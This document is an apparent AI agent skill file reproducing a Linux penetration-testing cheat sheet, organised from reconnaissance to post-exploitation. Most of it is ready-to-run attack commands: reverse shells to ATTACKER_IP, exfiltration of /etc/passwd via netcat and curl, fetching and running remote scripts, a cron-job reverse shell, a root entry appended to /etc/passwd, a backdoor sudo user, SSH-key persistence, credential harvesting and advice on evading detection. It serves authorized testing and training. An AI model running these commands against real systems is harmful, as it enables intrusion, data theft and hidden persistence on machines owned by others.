Imported from reason-machines/security-skills (skills/linux-pentesting-command-reference/SKILL.md). Install upstream with npx skills add reason-machines/security-skills --skill linux-pentesting-command-reference. Copyright stays with the author.

Linux Pentesting Command Reference

Skill by ara.so — Security Skills collection.

Overview

The Linux for a Pentester project is a curated collection of practical Linux commands and techniques organized by penetration testing phases. This reference is built from real-world labs, CTFs, and hands-on practice, focusing on actionable commands rather than theory. It covers the complete pentesting workflow from initial reconnaissance through post-exploitation.

Repository Structure

The notes are organized into six main modules:

00-General-Commands: Essential Linux survival commands for daily usage
01-Recon: Local and network reconnaissance techniques
02-Enumeration: Deep service and user data enumeration
03-Exploitation: Shell access, file uploads, and initial foothold techniques
04-Privilege-Escalation: Techniques for escalating to root privileges
05-Post-Exploitation: Persistence, cleanup, and lateral movement
Cheatsheets: Quick reference one-liners

Installation

Clone the repository to have offline access during engagements:

git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester

For quick reference during testing:

# View specific module
cat 04-Privilege-Escalation/README.md

# Search for specific commands
grep -r "sudo" .

# Find all references to a specific tool
find . -type f -name "*.md" -exec grep -l "nmap" {} \;

Key Command Categories

General Commands (Module 00)

Essential commands for navigation and system interaction:

# File system navigation
ls -la                    # List all files including hidden
cd /path/to/directory    # Change directory
pwd                      # Print working directory
find / -name "*.conf" 2>/dev/null  # Find config files, suppress errors

# File operations
cat /etc/passwd          # View file contents
less /var/log/syslog     # Page through large files
grep -r "password" .     # Recursive search
tail -f /var/log/auth.log # Follow log file in real-time

# System information
uname -a                 # Kernel and system info
whoami                   # Current user
id                       # User and group IDs
hostname                 # System hostname

Reconnaissance (Module 01)

Local and network reconnaissance commands:

# Network enumeration
ip a                     # Show network interfaces
ss -tulpn               # Show listening ports (modern netstat)
netstat -ano            # Show all network connections
arp -a                  # Show ARP cache

# System enumeration
ps aux                  # List all running processes
systemctl list-units    # List systemd services
cat /etc/issue         # OS version info
cat /etc/*-release     # Distribution info
lsb_release -a         # Detailed OS info

# User enumeration
cat /etc/passwd        # List all users
cat /etc/group         # List all groups
w                      # Who is logged in
last                   # Last logged in users
lastlog                # All users last login

Enumeration (Module 02)

Deep service and data enumeration:

# File system enumeration
find / -perm -4000 2>/dev/null     # Find SUID binaries
find / -writable -type d 2>/dev/null # Find writable directories
find / -name "*.conf" -o -name "*.config" 2>/dev/null  # Find configs

# Capability enumeration
getcap -r / 2>/dev/null            # Find files with capabilities

# Cron job enumeration
cat /etc/crontab
ls -la /etc/cron.*
crontab -l                         # Current user's crontab

# Service enumeration
systemctl list-unit-files --state=enabled
ps aux | grep -i "root"           # Root processes

# Database files
locate password | grep -i config
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null

Exploitation (Module 03)

Common exploitation techniques and payloads:

# Reverse shells
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
nc ATTACKER_IP PORT -e /bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# TTY shell upgrade
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo; fg, export TERM=xterm

# File transfer
# On attacker: python3 -m http.server 8000
wget http://ATTACKER_IP:8000/file -O /tmp/file
curl http://ATTACKER_IP:8000/file -o /tmp/file

# Data exfiltration
cat /etc/passwd | nc ATTACKER_IP PORT
curl -X POST -d @/etc/passwd http://ATTACKER_IP:PORT/

Privilege Escalation (Module 04)

Techniques for escalating privileges:

# SUID exploitation
find / -perm -4000 -type f 2>/dev/null
# Check GTFOBins for SUID binary exploits

# Sudo exploitation
sudo -l                            # List sudo privileges
sudo -l -U username                # Check other user's sudo rights

# Writable /etc/passwd exploitation
openssl passwd -1 -salt salt password123
echo 'newroot:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd

# Cron job abuse
# Write malicious script to writable cron job path
echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cronjob.sh
chmod +x /path/to/cronjob.sh

# PATH hijacking
echo '/bin/bash' > /tmp/vulnerable_binary
chmod +x /tmp/vulnerable_binary
export PATH=/tmp:$PATH

# Kernel exploits (check kernel version first)
uname -a
# Search for kernel exploits on exploit-db or searchsploit
searchsploit linux kernel 4.15

# Capabilities abuse
# If python has cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Post-Exploitation (Module 05)

Persistence and lateral movement:

# Add SSH key for persistence
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Add backdoor user
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd
usermod -aG sudo backdoor

# Download enumeration scripts
wget http://ATTACKER_IP/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
./tmp/linpeas.sh

# Credential harvesting
grep -r "password" /home/ 2>/dev/null
cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -exec grep -i "pass" {} \; 2>/dev/null

# Lateral movement preparation
hostname -I                        # Get all IPs
for i in {1..254}; do ping -c 1 192.168.1.$i & done  # Ping sweep

Common Patterns

Initial Access Workflow

# 1. Stabilize shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

# 2. Basic enumeration
id && hostname && uname -a
cat /etc/passwd | grep -v nologin
sudo -l

# 3. Transfer enumeration script
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh

Privilege Escalation Checklist

# Check sudo
sudo -l

# Check SUID
find / -perm -4000 -type f 2>/dev/null

# Check capabilities
getcap -r / 2>/dev/null

# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*

# Check writable paths
find / -writable -type d 2>/dev/null | grep -v proc

# Check for credentials
grep -r "password" /home/ 2>/dev/null
find / -name "*.conf" -type f -exec grep -i "pass" {} + 2>/dev/null

Troubleshooting

Shell Issues

Problem: Unstable or non-interactive shell

# Try multiple TTY upgrade methods
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
perl -e 'exec "/bin/bash";'
script -qc /bin/bash /dev/null

Problem: Commands not working in reverse shell

# Set proper PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
export TERM=xterm-256color

File Transfer Issues

Problem: wget/curl not available

# Try alternative methods
# Using netcat
nc ATTACKER_IP PORT < file            # Send
nc -lvp PORT > file                   # Receive

# Using base64
base64 file | nc ATTACKER_IP PORT     # Send
nc -lvp PORT | base64 -d > file       # Receive

# Using scp (if SSH available)
scp file user@ATTACKER_IP:/path/

Permission Issues

Problem: Cannot write to common directories

# Find writable locations
find / -writable -type d 2>/dev/null | grep -v proc
# Common writable: /tmp, /var/tmp, /dev/shm

# Check /tmp alternatives
ls -la /dev/shm
ls -la /var/tmp

Enumeration Script Failures

Problem: Automated scripts not running

# Check script requirements
file linpeas.sh                    # Verify file type
head -1 linpeas.sh                 # Check shebang
which bash                         # Verify interpreter exists

# Run with explicit interpreter
bash linpeas.sh
sh linpeas.sh

Integration with AI Agents

When assisting with pentesting tasks, reference specific modules:

# For recon phase
cat Linux-for-a-Pentester/01-Recon/network-enumeration.md

# For privilege escalation
grep -r "sudo" Linux-for-a-Pentester/04-Privilege-Escalation/

# For specific techniques
find Linux-for-a-Pentester -name "*suid*"

Best Practices

Always stabilize your shell first before running complex commands
Use 2>/dev/null to suppress error messages in enumeration commands
Check sudo -l as the first privilege escalation check
Transfer and run automated enumeration scripts (LinPEAS, LinEnum) for comprehensive coverage
Document discovered credentials and file paths for later reference
Clean up artifacts during post-exploitation to avoid detection

Legal Disclaimer

These commands and techniques are for authorized penetration testing and educational purposes only. Always ensure you have explicit written permission before testing any system you do not own.

linux-pentesting-command-reference

About